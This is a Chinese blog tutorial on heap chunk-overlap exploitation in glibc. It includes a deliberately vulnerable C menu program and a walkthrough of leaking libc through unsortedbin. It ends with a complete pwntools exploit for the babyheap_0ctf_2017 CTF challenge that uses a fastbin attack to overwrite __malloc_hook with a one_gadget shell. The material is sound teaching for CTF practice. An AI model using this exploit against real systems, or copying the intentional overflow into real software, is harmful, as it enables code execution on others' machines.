首页 > 其他分享 >堆利用 -- 堆块重叠

堆利用 -- 堆块重叠

时间:2023-09-10 17:12:04浏览次数:36  
标签:index 重叠 堆块 -- chunk list libc add size

0x01 介绍

堆块重叠是借助堆溢出来修改chunk的size字段让其包含多个chunk,然后就可以实现一些非法的操作,比如泄露修改chunk的fd指针。

之所以能够完成重叠实际上和free函数有关,由于chunk释放的时候只会检查nextchunk的size字段是否合法,而nextchunk的获取是通过chunk+size来获取的,这样就会忽略中间的那些chunk。我们只要修改chunk的size值为可以获取nextchunk size的值即可,这里的nextchunk可以是本身就存在的chunk,也可以是我们伪造的chunk。这里写一个简单的例子来具体分析。

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

char *chunk_list[10];
int size[10];

void add() {
        int index;
        printf("Index: ");
        scanf("%d", &index);
        if (index < 0 || index >= 10 || chunk_list[index]) {
                exit(1);
        }
        printf("Size: ");
        scanf("%d", &size[index]);
        chunk_list[index] = malloc(size[index]);
        memset(chunk_list[index], 0, size[index]);
}

void edit() {
        int index, s;
        printf("Index: ");
        scanf("%d", &index);
        if (index < 0 || index >= 10 || !chunk_list[index]) {
                exit(1);
        }
        printf("Size: ");
        scanf("%d", &s);
        printf("Content: ");
        read(0, chunk_list[index], s);
}

void show() {
        int index;
        printf("Index: ");
        scanf("%d", &index);
        if (index < 0 || index >= 10 || !chunk_list[index]) {
                exit(1);
        }
        write(1, chunk_list[index], size[index]);
}

void delete() {
        int index;
        printf("Index: ");
        scanf("%d", &index);
        if (index < 0 || index >= 10 || !chunk_list[index]) {
                exit(1);
        }
        free(chunk_list[index]);
        chunk_list[index] = 0;
        size[index] = 0;
}

void menu() {
        puts("1. add");
        puts("2. edit");
        puts("3. show");
        puts("4. delete");
        printf("> ");
}

int main() {
        int choice;
        setbuf(stdout, 0);
        setbuf(stdin, 0);
        while(1) {
                menu();
                scanf("%d", &choice);
                switch(choice) {
                        case 1:
                                add();
                                break;
                        case 2:
                                edit();
                                break;
                        case 3:
                                show();
                                break;
                        case 4:
                                delete();
                                break;
                        default:
                                exit(0);
                }
        }
        return 0;
}

经典的菜单式程序,包含一个堆溢出漏洞在edit函数里。首先尝试用本身就存在的chunk来尝试。先申请一个Size为10的chunk 0,用来溢出修改chunk 1的size字段,然后申请3个0x60大小的chunk 1、2、3。此时堆的结构为

当我们通过堆溢出修改chunk 1的size字段为0xe1时,就会造成chunk 1和chunk 2堆重叠了

通过pwndbg命令heap可以看到系统已经识别不到chunk 2了

最后通过delete函数释放chunk 1试试是否可以正常释放

发现chunk 1已经被释放到unsortedbin了。再来尝试伪造一个chunk来试试,直接修改chunk 2的数据为下图形式

再将chunk 1的size字段修改为0x91

通过heap可以看出伪造的chunk已经被识别了

delete操作也可以正常释放

这样做的目的是什么呢?在系统看来它释放的空间是chunk 1加上chunk 2的内存或者chunk 1加上fake chunk1的内存,但是在用户看来只释放了chunk 1的内存,而chunk 2的内存指针还保留在chunk list中。由于系统和用户的这种认知误差,就导致可以进一步的利用。对于可以溢出很多个字节的情况,可能只需要堆块重叠来泄露libc地址,而对于off-by-one的情况则可以用来修改chunk的指针,具体的在讲off-by-one时再详述。

泄露libc地址

对于这里的样例程序来说,show函数只能打印chunk size大小个字节,而且无法打印被释放的chunk的数据。这里就可以通过构造堆块重叠来实现打印被释放的chunk的数据。具体操作为

  1. 修改chunk 1的size让其和chunk 2形成堆块重叠
  2. 释放chunk 1
  3. 申请回chunk 1
  4. 打印chunk 2

前两个步骤前面已经讲过,释放chunk 1后将会将其放到unsortedbin中。详细讲一下后两个步骤,chunk 1原来的大小是0x70,也就是malloc(0x60),第三步malloc个0x60的chunk,它会首先到fastbin index为0x70的组里面找有没有chunk可以直接来使用,我们这里fastbin都是空的,那么它就会去unsortedbin中,看里面的chunk是否大于我们申请的大小,如果是的话,就会从该chunk切割一部分给用户使用,剩下的部分放回unsortedbin中,也就是剩下的这部分chunk也包含main_arena指针。我们这里也就是从unsortbin的chunk切割0x70字节给用户,其实就是本来chunk 1的部分

剩下部分就是chunk 2的部分,可以看到main_arena的指针保存在chunk 2里了

chunk list里还保存了chunk 2的指针,所以第四步就可以通过show函数将main_arena指针打印出来了

对于限制只能申请fastbin chunk范围的程序,也可以通过这种方法构造一个unsortedbin chunk范围的chunk,然后来泄露出main_arena

0x02 实例

babyheap_0ctf_2017

直接IDA打开查看主要逻辑,可以从打印函数里看出程序的主要功能

很经典的菜单式程序,功能为增加、修改、删除和显示。首先观察增加函数

从这里可以看出管理结构体原型为

struct manage {
    __int64 inuse;
    __int64 size;
    char *chunk_ptr;
}

calloc(size_t n, size_t size):申请n*size大小的chunk

再来看一下修改函数

这里就存在一个漏洞,由于Size大小可以由用户控制,如果输入一个比较大的Size超过chunk本身的大小,就会造成堆溢出。释放函数为

没有什么漏洞存在。最后一个是显示函数

那么其实利用思路就很清晰了,利用堆溢出造成堆块重叠来泄露出main_arena地址,然后再计算出libc基地址和one_gadget地址,最后利用fastbin attack将__malloc_hook改为one_gadget。
最终脚本为

from pwn import*
o = process("./pwn")
# o = remote("node4.buuoj.cn", 26807)
elf = ELF("./pwn")
libc = elf.libc
# libc = ELF("./libc6_2.23-0ubuntu11_amd64.so") # 远程

def add(size):
    o.sendlineafter(b"Command: ", b"1")
    o.sendlineafter(b"Size: ", str(size).encode())

def edit(index, size, content):
    o.sendlineafter(b"Command: ", b"2")
    o.sendlineafter(b"Index: ", str(index).encode())
    o.sendlineafter(b"Size: ", str(size).encode())
    o.sendlineafter(b"Content: ", content)

def delete(index):
    o.sendlineafter(b"Command: ", b"3")
    o.sendlineafter(b"Index: ", str(index).encode())

def show(index):
    o.sendlineafter(b"Command: ", b"4")
    o.sendlineafter(b"Index: ", str(index).encode())

# leak libc
add(0x10)   # chunk 0
add(0x30)   # chunk 1
add(0x50)   # chunk 2
add(0x60)   # chunk 3

# 通过堆溢出修改chunk 1的size造成chunk 1和chunk 2堆重叠
payload = b'a'*0x18 + p64(0xa1)
edit(0, len(payload), payload)

# 释放chunk 1
delete(1)

# 申请回chunk 1
add(0x30)

# 打印chunk 2
show(2)

# 计算得到__malloc_hook、libc基地址和one_gadget
o.recvline()
malloc_hook = u64(o.recv(8)) - 0x68
libc_base = malloc_hook - libc.sym['__malloc_hook']
log.info("libc_base => 0x%x" % libc_base)
# one_gadget = libc_base + 0x4526a      # 远程
fake_chunk = malloc_hook - 0x23 # __malloc_hook附件符合fastbin范围的fake chunk

# fastbin attack
delete(3)
payload = b'a'*0x58 + p64(0x71) + p64(fake_chunk)
edit(2, len(payload), payload)
add(0x60)   # 3
add(0x60)   # 4
payload = b'a'*0x13 + p64(one_gadget)
edit(4, len(payload), payload)

# 触发malloc执行one_gadget
add(0x10)

o.interactive()

标签:index,重叠,堆块,--,chunk,list,libc,add,size
From: https://www.cnblogs.com/c3n1g/p/17691496.html

相关文章

  • 在springboot项目种引入element组件
    1、保证vue的版本在3以上2、Win+R--打开命令行窗口(cmd)输入下面的命令,打开图形化界面:vueui3、打开我们创建的vue项目选择路径即可自主导入项目;4、安装element-ui的插件依赖5、查看项目中是否存在ok!......
  • 集合中的多题一解
    前言集合的学习中,有一类题目很多见,就是“已知集合的关系求参数的取值范围的题目”,有时候集合的关系却是以集合的运算形式给出来的,理解和掌握这类等价关系显得非常关键,往往可以快速转化,从而实现多题一解的效果。$B\subseteqA$$\Longleftrightarrow$$B\capA=B$$\Longleftri......
  • swift5笔记(五):字典
    swift5笔记(五):字典Harry__Li关注IP属地:陕西2022.10.3115:48:06字数31阅读176初始化swift中需要指出字典中的类型//初始化字典varmdict:[String:Any]=[:]varmdict1=[String:Any]()letdict:[String:Any]=["name":"lhr","age":"100"]增加......
  • Maven--Maven概述
    一、maven的作用  1)maven可以管理jar文件  2)自动下载jar和他的文档,源代码  3)管理jar直接的依赖,a.jar需要b.jar,maven会自动下载b.jar  4)管理你需要的jar版本  5)帮你编译程序,把java编译为class  6)帮你测试你的代码是否正确。  7)帮你打包文件,形成jar文件,或者......
  • DBUtils工具类实现增删改查
    DBUtils工具类实现增删改查一、数据库连接池Druid工具类二、DBUtils实现增删改三、DBUtils实现查询单条数据四、DBUtils实现查询批量数据五、DBUtils实现按键值对查询数据六、查询单个数据QueryRunner提供对sql语句操作的APIResultSetHandler接口,用于定义select操作后,怎样封装结......
  • Java实现关系型数据库工具类JdbcUtils系列九:通用DAO
    Java实现关系型数据库工具类JdbcUtils系列九:通用DAO一、创建对应数据库表的实体类二、数据库连接池Druid工具类三、DAO类四、BaseDAO五、DatabaseInfoDao六、通用DAO测试类一、创建对应数据库表的实体类数据库表结构CREATETABLE`databaseInfo`(`id`bigint(11)NOTNULLAU......
  • 深入浅出理解数据分析系列之:Python安装Excel文档库openpyxl和Pycharm为项目安装Excel
    深入浅出理解数据分析系列之:Python安装Excel文档库openpyxl和Pycharm为项目安装Excel文档库openpyxl一、Python安装openpyxl二、Pycharm为项目安装openpyxl一、Python安装openpyxlpip3installopenpyxlCollectingopenpyxlDownloadingopenpyxl-3.0.9-py2.py3-none-any.whl......
  • Centos7创建新用户设置密码,并赋予root权限
    Centos7创建新用户设置密码,并赋予root权限一、添加用户kubesphere二、为用户kubesphere设置密码三、给新用户kubesphere授权sudo命令四、查看/etc/sudoers五、实现免密切换到kubesphere一、添加用户kubesphereadduserkubesphere二、为用户kubesphere设置密码passwdkubesphere......
  • Python系列之:argparse和vars
    Python系列之:argparse和vars一、argparse用法示例二、add_argument()方法常用参数详解三、vars用法示例一、argparse用法示例argparse是Python模块,主要用于命令行选项、参数和子命令解析器。vars是Python模块,主要用于返回对象object的属性和属性值的字典对象第一步:创建解析器Arg......
  • 数据库连接池Druid使用方法
    数据库连接池Druid使用方法一、Druid连接池使用代码示例importcom.alibaba.druid.pool.DruidAbstractDataSource;importcom.alibaba.druid.pool.DruidDataSource;importcom.alibaba.druid.pool.DruidDataSourceFactory;importorg.junit.Test;importjavax.sql.DataSource;......